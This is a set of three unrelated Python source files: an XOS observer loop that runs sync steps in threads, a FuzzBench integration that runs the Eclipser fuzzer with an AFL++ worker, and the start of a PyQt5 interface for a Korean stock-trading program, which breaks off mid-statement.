'SyncControllerImages','SyncControllerUsers','SyncControllerUserSitePrivileges','SyncControllerSlices', 'SyncControllerSlicePrivileges', 'SyncControllerUserSlicePrivileges', 'SyncControllerNetworks','SyncSlivers'] #self.ordered_steps = ['SyncControllerSites','SyncControllerUsers','SyncControllerSlices','SyncControllerNetworks'] print "Order of steps=",self.ordered_steps self.load_run_times() def check_duration(self, step, duration): try: if (duration > step.deadline): logger.info('Sync step %s missed deadline, took %.2f seconds'%(step.name,duration)) except AttributeError: # S doesn't have a deadline pass def update_run_time(self, step, deletion): if (not deletion): self.last_run_times[step.__name__]=time.time() else: self.last_deletion_run_times[step.__name__]=time.time() def check_schedule(self, step, deletion): last_run_times = self.last_run_times if not deletion else self.last_deletion_run_times time_since_last_run = time.time() - last_run_times.get(step.__name__, 0) try: if (time_since_last_run < step.requested_interval): raise StepNotReady except AttributeError: logger.info('Step %s does not have requested_interval set'%step.__name__) raise StepNotReady def load_run_times(self): try: jrun_times = open('/tmp/observer_run_times').read() self.last_run_times = json.loads(jrun_times) except: self.last_run_times={} for e in self.ordered_steps: self.last_run_times[e]=0 try: jrun_times = open('/tmp/observer_deletion_run_times').read() self.last_deletion_run_times = json.loads(jrun_times) except: self.last_deletion_run_times={} for e in self.ordered_steps: self.last_deletion_run_times[e]=0 def save_run_times(self): run_times = json.dumps(self.last_run_times) open('/tmp/observer_run_times','w').write(run_times) deletion_run_times = json.dumps(self.last_deletion_run_times) open('/tmp/observer_deletion_run_times','w').write(deletion_run_times) def check_class_dependency(self, step, failed_steps): step.dependenices = [] for obj in step.provides: lst = self.model_dependency_graph.get(obj.__name__, []) nlst = map(lambda(a,b):b,lst) step.dependenices.extend(nlst) for failed_step in failed_steps: if (failed_step in step.dependencies): raise StepNotReady def sync(self, S, deletion): try: step = self.step_lookup[S] start_time=time.time() logger.info("Starting to work on step %s" % step.__name__) dependency_graph = self.dependency_graph if not deletion else self.deletion_dependency_graph # Wait for step dependencies to be met try: deps = self.dependency_graph[S] has_deps = True except KeyError: has_deps = False go = True failed_dep = None if (has_deps): for d in deps: if d==step.__name__: logger.info(" step %s self-wait skipped" % step.__name__) go = True continue cond = self.step_conditions[d] cond.acquire() if (self.step_status[d] is STEP_STATUS_WORKING): logger.info(" step %s wait on dep %s" % (step.__name__, d)) cond.wait() elif self.step_status[d] == STEP_STATUS_OK: go = True else: go = False failed_dep = d cond.release() if (not go): break else: go = True if (not go): print bcolors.FAIL + "Step %r skipped on %r" % (step,failed_dep) + bcolors.ENDC # SMBAKER: sync_step was not defined here, so I changed # this from 'sync_step' to 'step'. Verify. self.failed_steps.append(step) my_status = STEP_STATUS_KO else: sync_step = step(driver=self.driver,error_map=self.error_mapper) sync_step. __name__= step.__name__ sync_step.dependencies = [] try: mlist = sync_step.provides for m in mlist: lst = self.model_dependency_graph[m.__name__] nlst = map(lambda(a,b):b,lst) sync_step.dependencies.extend(nlst) except KeyError: pass sync_step.debug_mode = debug_mode should_run = False try: # Various checks that decide whether # this step runs or not self.check_class_dependency(sync_step, self.failed_steps) # dont run Slices if Sites failed self.check_schedule(sync_step, deletion) # dont run sync_network_routes if time since last run < 1 hour should_run = True except StepNotReady: logger.info('Step not ready: %s'%sync_step.__name__) self.failed_steps.append(sync_step) my_status = STEP_STATUS_KO except Exception,e: logger.error('%r' % e) logger.log_exc("sync step failed: %r. Deletion: %r"%(sync_step,deletion)) self.failed_steps.append(sync_step) my_status = STEP_STATUS_KO if (should_run): try: duration=time.time() - start_time logger.info('Executing step %s' % sync_step.__name__) print bcolors.OKBLUE + "Executing step %s" % sync_step.__name__ + bcolors.ENDC failed_objects = sync_step(failed=list(self.failed_step_objects), deletion=deletion) self.check_duration(sync_step, duration) if failed_objects: self.failed_step_objects.update(failed_objects) logger.info("Step %r succeeded" % step) print bcolors.OKGREEN + "Step %r succeeded" % step + bcolors.ENDC my_status = STEP_STATUS_OK self.update_run_time(sync_step,deletion) except Exception,e: print bcolors.FAIL + "Model step %r failed" % (step) + bcolors.ENDC logger.error('Model step %r failed. This seems like a misconfiguration or bug: %r. This error will not be relayed to the user!' % (step, e)) logger.log_exc(e) self.failed_steps.append(S) my_status = STEP_STATUS_KO else: logger.info("Step %r succeeded due to non-run" % step) my_status = STEP_STATUS_OK try: my_cond = self.step_conditions[S] my_cond.acquire() self.step_status[S]=my_status my_cond.notify_all() my_cond.release() except KeyError,e: logger.info('Step %r is a leaf' % step) pass finally: connection.close() def run(self): if not self.driver.enabled: return if (self.driver_kind=="openstack") and (not self.driver.has_openstack): return while True: try: loop_start = time.time() error_map_file = getattr(Config(), "error_map_path", XOS_DIR + "/error_map.txt") self.error_mapper = ErrorMapper(error_map_file) # Set of whole steps that failed self.failed_steps = [] # Set of individual objects within steps that failed self.failed_step_objects = set() # Set up conditions and step status # This is needed for steps to run in parallel # while obeying dependencies. providers = set() for v in self.dependency_graph.values(): if (v): providers.update(v) self.step_conditions = {} self.step_status = {} for p in list(providers): self.step_conditions[p] = threading.Condition() self.step_status[p] = STEP_STATUS_WORKING logger.info('Waiting for event') tBeforeWait = time.time() self.wait_for_event(timeout=30) logger.info('Observer woke up') # Two passes. One for sync, the other for deletion. for deletion in [False,True]: threads = [] logger.info('Deletion=%r...'%deletion) schedule = self.ordered_steps if not deletion else reversed(self.ordered_steps) for S in schedule: thread = threading.Thread(target=self.sync, args=(S, deletion)) logger.info('Deletion=%r...'%deletion) threads.append(thread) # Start threads for t in threads: t.start() # Wait for all threads to finish before continuing with the run loop for t in threads: t.join() self.save_run_times() loop_end = time.time() open('/tmp/observer_last_run','w').write(json.dumps({'last_run': loop_end, 'last_duration':loop_end - loop_start})) except Exception, e: logger.error('Core error. This seems like a misconfiguration or bug: %r. This error will not be relayed to the user!' % e) logger.log_exc("Exception in observer run loop") traceback.print_exc()
fuzzer.py
# Copyright 2020 Google LLC # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Integration code for Eclipser fuzzer. Note that starting from v2.0, Eclipser relies on AFL to perform random-based fuzzing.""" import shutil import subprocess import os import threading from fuzzers.aflplusplus import fuzzer as aflplusplus_fuzzer def get_uninstrumented_outdir(target_directory): """Return path to uninstrumented target directory.""" return os.path.join(target_directory, 'uninstrumented') def build(): """Build benchmark.""" # Backup the environment. orig_env = os.environ.copy() #src = os.getenv('SRC') #work = os.getenv('WORK') build_directory = os.getenv('OUT') fuzz_target = os.getenv('FUZZ_TARGET') # First, build an uninstrumented binary for Eclipser. aflplusplus_fuzzer.build("qemu", "eclipser") eclipser_dir = get_uninstrumented_outdir(build_directory) os.mkdir(eclipser_dir) fuzz_binary = build_directory + '/' + fuzz_target shutil.copy(fuzz_binary, eclipser_dir) if os.path.isdir(build_directory + '/seeds'): shutil.rmtree(build_directory + '/seeds') # Second, build an instrumented binary for AFL++. os.environ = orig_env aflplusplus_fuzzer.build("tracepc") print('[build] Copying afl-fuzz to $OUT directory') # Copy afl-fuzz shutil.copy('/afl/afl-fuzz', build_directory) def eclipser(input_corpus, output_corpus, target_binary): """Run Eclipser.""" # We will use output_corpus as a directory where AFL and Eclipser sync their # test cases with each other. For Eclipser, we should explicitly specify an # output directory under this sync directory. eclipser_out = os.path.join(output_corpus, "eclipser_output") command = [ 'dotnet', '/Eclipser/build/Eclipser.dll', '-p', target_binary, '-s', output_corpus, '-o', eclipser_out, '--arg', # Specifies the command-line of the program. 'foo', '-f', # Specifies the path of file input to fuzz. 'foo', '-v', # Controls the verbosity. '2', '--exectimeout', '5000', ] if os.listdir(input_corpus): # Specify inputs only if any seed exists. command += ['-i', input_corpus] print('[eclipser] Run Eclipser with command: ' + ' '.join(command)) subprocess.Popen(command) def afl_worker(input_corpus, output_corpus, target_binary): """Run AFL worker instance.""" print('[afl_worker] Run AFL worker') aflplusplus_fuzzer.fuzz(input_corpus, output_corpus, target_binary, flags=(['-S', 'afl-worker'])) def fuzz(input_corpus, output_corpus, target_binary): """Run fuzzer.""" # Calculate uninstrumented binary path from the instrumented target binary. target_binary_directory = os.path.dirname(target_binary) uninstrumented_target_binary_directory = ( get_uninstrumented_outdir(target_binary_directory)) target_binary_name = os.path.basename(target_binary) uninstrumented_target_binary = os.path.join( uninstrumented_target_binary_directory, target_binary_name) if not os.path.isdir(input_corpus): raise Exception("invalid input directory") afl_args = (input_corpus, output_corpus, target_binary) eclipser_args = (input_corpus, output_corpus, uninstrumented_target_binary) # Do not launch AFL master instance for now, to reduce memory usage and # align with the vanilla AFL. print('[fuzz] Running AFL worker') afl_worker_thread = threading.Thread(target=afl_worker, args=afl_args) afl_worker_thread.start() print('[fuzz] Running Eclipser') eclipser_thread = threading.Thread(target=eclipser, args=eclipser_args) eclipser_thread.start() print('[fuzz] Now waiting for threads to finish...') afl_worker_thread.join() eclipser_thread.join()
window.py
import psutil import logging from chartItem import * from PyQt5 import QtCore from PyQt5 import QtWidgets from PyQt5.QtGui import QIcon, QPixmap, QPalette from multiprocessing import Process, Queue sys.path.append(os.path.dirname(os.path.abspath(os.path.dirname(__file__)))) from utility.static import * class Window(QtWidgets.QMainWindow): def __init__(self): super().__init__() self.log = logging.getLogger('Window') self.log.setLevel(logging.INFO) filehandler = logging.FileHandler(filename=f"{system_path}/Log/S{strf_time('%Y%m%d')}.txt", encoding='utf-8') self.log.addHandler(filehandler) def setIcon(path): icon = QIcon() icon.addPixmap(QPixmap(path)) return icon def setLine(tab, width): line = QtWidgets.QFrame(tab) line.setLineWidth(width) line.setStyleSheet(style_fc_dk) line.setFrameShape(QtWidgets.QFrame.HLine) return line def setLineedit(groupbox, returnPressed=None): lineedit = QtWidgets.QLineEdit(groupbox) if returnPressed is not None: lineedit.setAlignment(Qt.AlignCenter) else: lineedit.setAlignment(Qt.AlignRight) if returnPressed is not None: lineedit.setStyleSheet(style_bc_bt) else: lineedit.setStyleSheet(style_fc_bt) lineedit.setFont(qfont1) if returnPressed is not None: lineedit.returnPressed.connect(returnPressed) return lineedit def setPushbutton(name, groupbox, buttonclicked, cmd=None): pushbutton = QtWidgets.QPushButton(name, groupbox) pushbutton.setStyleSheet(style_bc_bt) pushbutton.setFont(qfont1) if cmd is not None: pushbutton.clicked.connect(lambda: buttonclicked(cmd)) else: pushbutton.clicked.connect(lambda: buttonclicked(name)) return pushbutton def setTextEdit(tab, qfont=None): textedit = QtWidgets.QTextEdit(tab) textedit.setReadOnly(True) textedit.setVerticalScrollBarPolicy(Qt.ScrollBarAlwaysOff) textedit.setHorizontalScrollBarPolicy(Qt.ScrollBarAlwaysOff) textedit.setStyleSheet(style_bc_dk) if qfont is not None: textedit.setFont(qfont) else: textedit.setFont(qfont1) return textedit def setPg(tname, tabwidget, tab): ctpg = pg.GraphicsLayoutWidget() ctpg_01 = ctpg.addPlot(row=0, col=0, viewBox=CustomViewBox1()) ctpg_02 = ctpg.addPlot(row=1, col=0, viewBox=CustomViewBox2()) ctpg_01.showAxis('left', False) ctpg_01.showAxis('right', True) ctpg_01.getAxis('right').setStyle(tickTextWidth=45, autoExpandTextSpace=False) ctpg_01.getAxis('right').setTickFont(qfont1) ctpg_01.getAxis('bottom').setTickFont(qfont1) ctpg_02.showAxis('left', False) ctpg_02.showAxis('right', True) ctpg_02.getAxis('right').setStyle(tickTextWidth=45, autoExpandTextSpace=False) ctpg_02.getAxis('right').setTickFont(qfont1) ctpg_02.getAxis('bottom').setTickFont(qfont1) ctpg_02.setXLink(ctpg_01) qGraphicsGridLayout = ctpg.ci.layout qGraphicsGridLayout.setRowStretchFactor(0, 2) qGraphicsGridLayout.setRowStretchFactor(1, 1) ctpg_vboxLayout = QtWidgets.QVBoxLayout(tab) ctpg_vboxLayout.setContentsMargins(int(5 * resize), int(5 * resize), int(5 * resize), int(5 * resize)) ctpg_vboxLayout.addWidget(ctpg) tabwidget.addTab(tab, tname) return [ctpg_01, ctpg_02] def setTablewidget(tab, columns, colcount, rowcount, sectionsize=None, clicked=None, color=False, qfont=None): tableWidget = QtWidgets.QTableWidget(tab) if sectionsize is not None: tableWidget.verticalHeader().setDefaultSectionSize(int(sectionsize * resize)) else: tableWidget.verticalHeader().setDefaultSectionSize(int(23 * resize)) tableWidget.verticalHeader().setVisible(False) tableWidget.setAlternatingRowColors(True) tableWidget.setSelectionMode(QtWidgets.QAbstractItemView.NoSelection) tableWidget.setEditTriggers(QtWidgets.QAbstractItemView.NoEditTriggers) tableWidget.setVerticalScrollBarPolicy(Qt.ScrollBarAlwaysOff) tableWidget.setHorizontalScrollBarPolicy(Qt.ScrollBarAlwaysOff) tableWidget.setColumnCount(len(columns)) tableWidget.setRowCount(rowcount) tableWidget.setHorizontalHeaderLabels(columns) if qfont is not None: tableWidget.setFont(qfont) if colcount == 1: tableWidget.setColumnWidth(0, int(84 * resize)) elif colcount == 2: tableWidget.setColumnWidth(0, int(84 * resize)) tableWidget.setColumnWidth(1, int(84 * resize)) elif colcount == 3: tableWidget.setColumnWidth(0, int(126 * resize)) tableWidget.setColumnWidth(1, int(90 * resize)) tableWidget.setColumnWidth(2, int(450 * resize)) elif colcount == 4: tableWidget.setColumnWidth(0, int(84 * resize)) tableWidget.setColumnWidth(1, int(84 * resize)) tableWidget.setColumnWidth(2, int(84 * resize)) tableWidget.setColumnWidth(3, int(84 * resize)) elif colcount == 5: tableWidget.setColumnWidth(0, int(66 * resize)) tableWidget.setColumnWidth(1, int(60 * resize)) tableWidget.setColumnWidth(2, int(60 * resize)) tableWidget.setColumnWidth(3, int(60 * resize)) tableWidget.setColumnWidth(4, int(60 * resize)) elif colcount == 6: if rowcount == 13: tableWidget.setColumnWidth(0, int(60 * resize)) tableWidget.setColumnWidth(1, int(60 * resize)) tableWidget.setColumnWidth(2, int(60 * resize)) tableWidget.setColumnWidth(3, int(60 * resize)) tableWidget.setColumnWidth(4, int(60 * resize)) tableWidget.setColumnWidth(5, int(60 * resize)) else: tableWidget.setColumnWidth(0, int(111 * resize)) tableWidget.setColumnWidth(1, int(111 * resize)) tableWidget.setColumnWidth(2, int(111 * resize)) tableWidget.setColumnWidth(3, int(111 * resize)) tableWidget.setColumnWidth(4, int(111 * resize)) tableWidget.setColumnWidth(5, int(111 * resize)) elif columns[-1] == 'chhigh': tableWidget.setColumnWidth(0, int(122 * resize)) tableWidget.setColumnWidth(1, int(68 * resize)) tableWidget.setColumnWidth(2, int(68 * resize)) tableWidget.setColumnWidth(3, int(68 * resize)) tableWidget.setColumnWidth(4, int(68 * resize)) tableWidget.setColumnWidth(5, int(68 * resize)) tableWidget.setColumnWidth(6, int(68 * resize)) tableWidget.setColumnWidth(7, int(68 * resize)) tableWidget.setColumnWidth(8, int(68 * resize)) else: if columns[0] in ['기간', '일자']: tableWidget.setColumnWidth(0, int(100 * resize)) tableWidget.setColumnWidth(1, int(100 * resize)) tableWidget.setColumnWidth(2, int(100 * resize)) tableWidget.setColumnWidth(3, int(100 * resize)) tableWidget.setColumnWidth(4, int(100 * resize)) tableWidget.setColumnWidth(5, int(66 * resize)) tableWidget.setColumnWidth(6, int(100 * resize)) else: tableWidget.setColumnWidth(0, int(126 * resize)) tableWidget.setColumnWidth(1, int(90 * resize)) tableWidget.setColumnWidth(2, int(90 * resize)) tableWidget.setColumnWidth(3, int(90 * resize)) tableWidget.setColumnWidth(4, int(90 * resize)) tableWidget.setColumnWidth(5, int(90 * resize)) tableWidget.setColumnWidth(6, int(90 * resize)) if colcount >= 8: tableWidget.setColumnWidth(7, int(90 * resize)) if colcount >= 9: tableWidget.setColumnWidth(8, int(90 * resize)) if colcount >= 11: tableWidget.setColumnWidth(9, int(90 * resize)) tableWidget.setColumnWidth(10, int(90 * resize)) if colcount >= 12: tableWidget.setColumnWidth(11, int(90 * resize)) if colcount >= 13: tableWidget.setColumnWidth(12, int(90 * resize)) if colcount >= 14: tableWidget.setColumnWidth(13, int(90 * resize)) if colcount >= 15: tableWidget.setColumnWidth(14, int(90 * resize)) if clicked is not None: tableWidget.cellClicked.connect(clicked) if color: for i in range(22): tableitem = QtWidgets.QTableWidgetItem() tableitem.setBackground(color_bg_bt) tableWidget.setItem(i, 0, tableitem) return tableWidget self.setFont(qfont1) self.setWindowFlags(Qt.FramelessWindowHint) self.icon_open = setIcon(f'{system_path}/Icon/open.bmp') self.icon_high = setIcon(f'{system_path}/Icon/high.bmp') self.icon_low = setIcon(f'{system_path}/Icon/low.bmp') self.icon_up = setIcon(f'{system_path}/Icon/up.bmp') self.icon_down = setIcon(f'{system_path}/Icon/down.bmp') self.icon_vi = setIcon(f'{system_path}/Icon/vi.bmp') self.icon_totals = setIcon(f'{system_path}/Icon/totals.bmp') self.icon_totalb = setIcon(f'{system_path}/Icon/totalb.bmp') self.icon_pers = setIcon(f'{system_path}/Icon/pers.bmp') self.icon_perb = setIcon(f'{system_path}/Icon/perb.bmp') pg.setConfigOptions(background=color_bg_dk, foreground=color_fg_dk, leftButtonPan=False) self.dict_ctpg = {} self.chart_00_tabWidget = QtWidgets.QTabWidget(self) self.chart_00_tab = QtWidgets.QWidget() self.chart_05_tab = QtWidgets.QWidget() self.dict_ctpg[ui_num['차트P1']] = setPg('일봉 차트', self.chart_00_tabWidget, self.chart_00_tab) self.dict_ctpg[ui_num['차트P6']] = setPg('일봉 차트', self.chart_00_tabWidget, self.chart_05_tab) self.chart_01_tabWidget = QtWidgets.QTabWidget(self) self.chart_01_tab = QtWidgets.QWidget() self.chart_06_tab = QtWidgets.QWidget() self.dict_ctpg[ui_num['차트P2']] = setPg('분봉 차트', self.chart_01_tabWidget, self.chart_01_tab) self.dict_ctpg[ui_num['차트P7']] = setPg('분봉 차트', self.chart_01_tabWidget, self.chart_06_tab) self.chart_02_tabWidget = QtWidgets.QTabWidget(self) self.chart_02_tab = QtWidgets.QWidget() self.chart_07_tab = QtWidgets.QWidget() self.dict_ctpg[ui_num['차트P3']] = setPg('일봉 차트', self.chart_02_tabWidget, self.chart_02_tab) self.dict_ctpg[ui_num['차트P8']] = setPg('일봉 차트', self.chart_02_tabWidget, self.chart_07_tab) self.chart_03_tabWidget = QtWidgets.QTabWidget(self) self.chart_03_tab = QtWidgets.QWidget() self.chart_08_tab = QtWidgets.QWidget() self.dict_ctpg[ui_num['차트P4']] = setPg('분봉 차트', self.chart_03_tabWidget, self.chart_03_tab) self.dict_ctpg[ui_num['차트P9']] = setPg('분봉 차트', self.chart_03_tabWidget, self.chart_08_tab) self.chart_04_tabWidget = QtWidgets.QTabWidget(self) self.chart_04_tab = QtWidgets.QWidget() self.dict_ctpg[ui_num['차트P5']] = setPg('복기 차트', self.chart_04_tabWidget, self.chart_04_tab) self.hoga_00_tabWidget = QtWidgets.QTabWidget(self) self.hoga_00_tab = QtWidgets.QWidget() self.hoga_00_sellper_groupBox = QtWidgets.QGroupBox(' ', self.hoga_00_tab) self.hoga_00_sell_radioButton_01 = QtWidgets.QRadioButton('10%', self.hoga_00_sellper_groupBox) self.hoga_00_sell_radioButton_02 = QtWidgets.QRadioButton('25%', self.hoga_00_sellper_groupBox) self.hoga_00_sell_radioButton_03 = QtWidgets.QRadioButton('33%', self.hoga_00_sellper_groupBox) self.hoga_00_sell_radioButton_04 = QtWidgets.QRadioButton('50%', self.hoga_00_sellper_groupBox) self.hoga_00_sell_radioButton_05 = QtWidgets.QRadioButton('75%', self.hoga_00_sellper_groupBox) self.hoga_00_sell_radioButton_06 = QtWidgets.QRadioButton('100%', self.hoga_00_sellper_groupBox) self.hoga_00_buywon_groupBox = QtWidgets.QGroupBox(' ', self.hoga_00_tab) self.hoga_00_buy_radioButton_01 = QtWidgets.QRadioButton('100,000', self.hoga_00_buywon_groupBox) self.hoga_00_buy_radioButton_02 = QtWidgets.QRadioButton('500,000', self.hoga_00_buywon_groupBox) self.hoga_00_buy_radioButton_03 = QtWidgets.QRadioButton('1,000,000', self.hoga_00_buywon_groupBox) self.hoga_00_buy_radioButton_04 = QtWidgets.QRadioButton('5,000,000', self.hoga_00_buywon_groupBox) self.hoga_00_buy_radioButton_05 = QtWidgets.QRadioButton('10,000,000', self.hoga_00_buywon_groupBox) self.hoga_00_buy_radioButton_06 = QtWidgets.QRadioButton('50,000,000', self.hoga_00_buywon_groupBox) self.hoga_00_sell_pushButton_01 = setPushbutton('시장가 매도', self.hoga_00_tab, self.ButtonClicked_1, '시장가매도0') self.hoga_00_sell_pushButton_02 = setPushbutton('매도 취소', self.hoga_00_tab, self.ButtonClicked_1, '매도취소0') self.hoga_00_buy_pushButton_01 = setPushbutton('매수 취소', self.hoga_00_tab, self.ButtonClicked_2, '매수취소0') self.hoga_00_buy_pushButton_02 = setPushbutton('시장가 매수', self.hoga_00_tab, self.ButtonClicked_2, '시장가매수0') self.hoga_00_hj_tableWidget = setTablewidget(self.hoga_00_tab, columns_hj, len(columns_hj), 1) self.hoga_00_hs_tableWidget = setTablewidget(self.hoga_00_tab, columns_hs, len(columns_hs), 22, clicked=self.CellClicked_1, color=True) self.hoga_00_hc_tableWidget = setTablewidget(self.hoga_00_tab, columns_hc, len(columns_hc), 22) self.hoga_00_hg_tableWidget = setTablewidget(self.hoga_00_tab, columns_hg, len(columns_hg), 22) self.hoga_00_hb_tableWidget = setTablewidget(self.hoga_00_tab, columns_hb, len(columns_hb), 22, clicked=self.CellClicked_2, color=True) self.hoga_00_line = setLine(self.hoga_00_tab, 1) self.hoga_00_tabWidget.addTab(self.hoga_00_tab, '호가 주문') self.hoga_01_tabWidget = QtWidgets.QTabWidget(self) self.hoga_01_tab = QtWidgets.QWidget() self.hoga_01_sellper_groupBox = QtWidgets.QGroupBox(' ', self.hoga_01_tab) self.hoga_01_sell_radioButton_01 = QtWidgets.QRadioButton('10%', self.hoga_01_sellper_groupBox) self.hoga_01_sell_radioButton_02 = QtWidgets.QRadioButton('25%', self.hoga_01_sellper_groupBox) self.hoga_01_sell_radioButton_03 = QtWidgets.QRadioButton('33%', self.hoga_01_sellper_groupBox) self.hoga_01_sell_radioButton_04 = QtWidgets.QRadioButton('50%', self.hoga_01_sellper_groupBox) self.hoga_01_sell_radioButton_05 = QtWidgets.QRadioButton('75%', self.hoga_01_sellper_groupBox) self.hoga_01_sell_radioButton_06 = QtWidgets.QRadioButton('100%', self.hoga_01_sellper_groupBox) self.hoga_01_buywon_groupBox = QtWidgets.QGroupBox(' ', self.hoga_01_tab) self.hoga_01_buy_radioButton_01 = QtWidgets.QRadioButton('100,000', self.hoga_01_buywon_groupBox) self.hoga_01_buy_radioButton_02 = QtWidgets.QRadioButton('500,000', self.hoga_01_buywon_groupBox) self.hoga_01_buy_radioButton_03 = QtWidgets.QRadioButton('1,000,000', self.hoga_01_buywon_groupBox) self.hoga_01_buy_radioButton_04 = QtWidgets.QRadioButton('5,000,000', self.hoga_01_buywon_groupBox) self.hoga_01_buy_radioButton_05 = QtWidgets.QRadioButton('10,000,000', self.hoga_01_buywon_groupBox) self.hoga_01_buy_radioButton_06 = QtWidgets.QRadioButton('50,000,000', self.hoga_01_buywon_groupBox) self.hoga_01_sell_pushButton_01 = setPushbutton('시장가 매도', self.hoga_01_tab, self.ButtonClicked_1, '시장가매도1') self.hoga_01_sell_pushButton_02 = setPushbutton('매도 취소', self.hoga_01_tab, self.ButtonClicked_1, '매도취소1') self.hoga_01_buy_pushButton_01 = setPushbutton('매수 취소', self.hoga_01_tab, self.ButtonClicked_2, '매수취소1') self.hoga_01_buy_pushButton_02 = setPushbutton('시장가 매수', self.hoga_01_tab, self.ButtonClicked_2, '시장가매수1') self.hoga_01_hj_tableWidget = setTablewidget(self.hoga_01_tab, columns_hj, len(columns_hj), 1) self.hoga_01_hs_tableWidget = setTablewidget(self.hoga_01_tab, columns_hs, len(columns_hs), 22, clicked=self.CellClicked_3, color=True) self.hoga_01_hc_tableWidget = setTablewidget(self.hoga_01_tab, columns_hc, len(columns_hc), 22) self.hoga_01_hg_tableWidget = setTablewidget(self.hoga_01_tab, columns_hg, len(columns_hg), 22) self.hoga_01_hb_tableWidget = setTablewidget(self.hoga_01_tab, columns_hb, len(columns_hb), 22, clicked=self.CellClicked_4, color=True) self.hoga_01_line = setLine(self.hoga_01_tab, 1) self.hoga_01_tabWidget.addTab(self.hoga_01_tab, '호가 주문') self.gg_tabWidget = QtWidgets.QTabWidget(self) self.gg_tab = QtWidgets.QWidget() self.gg_textEdit = setTextEdit(self.gg_tab, qfont3) self.gg_tabWidget.addTab(self.gg_tab, '기업 개요') self.gs_tabWidget = QtWidgets.QTabWidget(self) self.gs_tab = QtWidgets.QWidget() self.gs_tableWidget = setTablewidget(self.gs_tab, columns_gc, len(columns_gc), 22, qfont=qfont2) self.gs_tabWidget.addTab(self.gs_tab, '기업 공시') self.ns_tabWidget = QtWidgets.QTabWidget(self) self.ns_tab = QtWidgets.QWidget() self.ns_tableWidget = setTablewidget(self.ns_tab, columns_ns, len(columns_ns), 12, qfont=qfont2) self.ns_tabWidget.addTab(self.ns_tab, '종목 뉴스') self.jj_tabWidget = QtWidgets.QTabWidget(self) self.jj_tab = QtWidgets.QWidget() self.jj_tableWidget = setTablewidget(self.jj_tab, columns_jj, len(columns_jj), 28) self.jj_tabWidget.addTab(self.jj_tab, '투자자별 매매동향') self.jm_tabWidget = QtWidgets.QTabWidget(self) self.jm_tab = QtWidgets.QWidget() self.jm1_tableWidget = setTablewidget(self.jm_tab, columns_jm1, len(columns_jm1), 13, sectionsize=21) self.jm2_tableWidget = setTablewidget(self.jm_tab, columns_jm2, len(columns_jm2), 13, sectionsize=21) self.jm_tabWidget.addTab(self.jm_tab, '재무제표') self.jb_tabWidget = QtWidgets.QTabWidget(self) self.jb_tab = QtWidgets.QWidget() self.jb_tableWidget = setTablewidget(self.jb_tab, columns_jb, len(columns_jb), 14, sectionsize=21) self.jb_tabWidget.addTab(self.jb_tab, '동일업종비교') self.ch_tabWidget = QtWidgets.QTabWidget(self) self.ch_tab = QtWidgets.QWidget() self.ch_tableWidget = setTablewidget(self.ch_tab, columns_ch, len(columns_ch), 28) self.ch_tabWidget.addTab(self.ch_tab, '체결강도') self.lgsj_tabWidget = QtWidgets.QTabWidget(self) self.lg_tab = QtWidgets.QWidget() self.sj_tab = QtWidgets.QWidget() self.lg_textEdit = setTextEdit(self.lg_tab) self.sj_groupBox_01 = QtWidgets.QGroupBox(self.sj_tab) self.sj_label_01 = QtWidgets.QLabel('텔레그램봇 넘버', self.sj_groupBox_01) self.sj_label_02 = QtWidgets.QLabel('사용자 아이디', self.sj_groupBox_01) self.sj_lineEdit_01 = setLineedit(self.sj_groupBox_01) self.sj_lineEdit_02 = setLineedit(self.sj_groupBox_01) self.sj_pushButton_01 = setPushbutton('설정', self.sj_groupBox_01, self.ButtonClicked_3) self.sj_groupBox_02 = QtWidgets.QGroupBox(self.sj_tab) self.sj_pushButton_02 = setPushbutton('데이터베이스 불러오기', self.sj_groupBox_02, self.ButtonClicked_3) self.sj_pushButton_03 = setPushbutton('OPENAPI 로그인', self.sj_groupBox_02, self.ButtonClicked_3) self.sj_pushButton_04 = setPushbutton('계좌평가 및 잔고', self.sj_groupBox_02, self.ButtonClicked_3) self.sj_pushButton_05 = setPushbutton('코스피 코스닥 차트', self.sj_groupBox_02, self.ButtonClicked_3) self.sj_pushButton_06 = setPushbutton('장운영시간 알림 등록', self.sj_groupBox_02, self.ButtonClicked_3) self.sj_pushButton_07 = setPushbutton('업종지수 주식체결 등록', self.sj_groupBox_02, self.ButtonClicked_3) self.sj_pushButton_08 = setPushbutton('단중장기 주식체결 등록', self.sj_groupBox_02, self.ButtonClicked_3) self.sj_pushButton_09 = setPushbutton('VI발동해제 등록', self.sj_groupBox_02, self.ButtonClicked_3) self.sj_pushButton_10 = setPushbutton('장운영상태', self.sj_groupBox_02, self.ButtonClicked_3) self.sj_pushButton_11 = setPushbutton('실시간 조건검색식 등록', self.sj_groupBox_02, self.ButtonClicked_3) self.sj_pushButton_12 = setPushbutton('단타 목표수익률 달성', self.sj_groupBox_02, self.ButtonClicked_3) self.sj_pushButton_13 = setPushbutton('단타 전략 중단', self.sj_groupBox_02, self.ButtonClicked_3) self.sj_pushButton_14 = setPushbutton('잔고청산', self.sj_groupBox_02, self.ButtonClicked_3) self.sj_pushButton_15 = setPushbutton('실시간 데이터 수신 중단', self.sj_groupBox_02, self.ButtonClicked_3) self.sj_pushButton_16 = setPushbutton('단중장기 매수주문', self.sj_groupBox_02, self.ButtonClicked_3) self.sj_pushButton_17 = setPushbutton('일별거래목록 저장', self.sj_groupBox_02, self.ButtonClicked_3) self.sj_pushButton_18 = setPushbutton('테스트모드 ON/OFF', self.sj_groupBox_02, self.ButtonClicked_3) self.sj_pushButton_19 = setPushbutton('모의투자 ON/OFF', self.sj_groupBox_02, self.ButtonClicked_3) self.sj_pushButton_20 = setPushbutton('알림소리 ON/OFF', self.sj_groupBox_02, self.ButtonClicked_3) self.sj_pushButton_21 = setPushbutton('시스템 종료', self.sj_groupBox_02, self.ButtonClicked_3) self.lgsj_tabWidget.addTab(self.lg_tab, '로그') self.lgsj_tabWidget.addTab(self.sj_tab, '시스템설정') self.table_tabWidget = QtWidgets.QTabWidget(self) self.td_tab = QtWidgets.QWidget() self.gjt_tab = QtWidgets.QWidget() self.gjs_tab = QtWidgets.QWidget() self.gjm_tab = QtWidgets.QWidget() self.gjl_tab = QtWidgets.QWidget() self.st_tab = QtWidgets.QWidget() self.sg_tab = QtWidgets.QWidget() self.tt_tableWidget = setTablewidget(self.td_tab, columns_tt, len(columns_tt), 1) self.td_tableWidget = setTablewidget(self.td_tab, 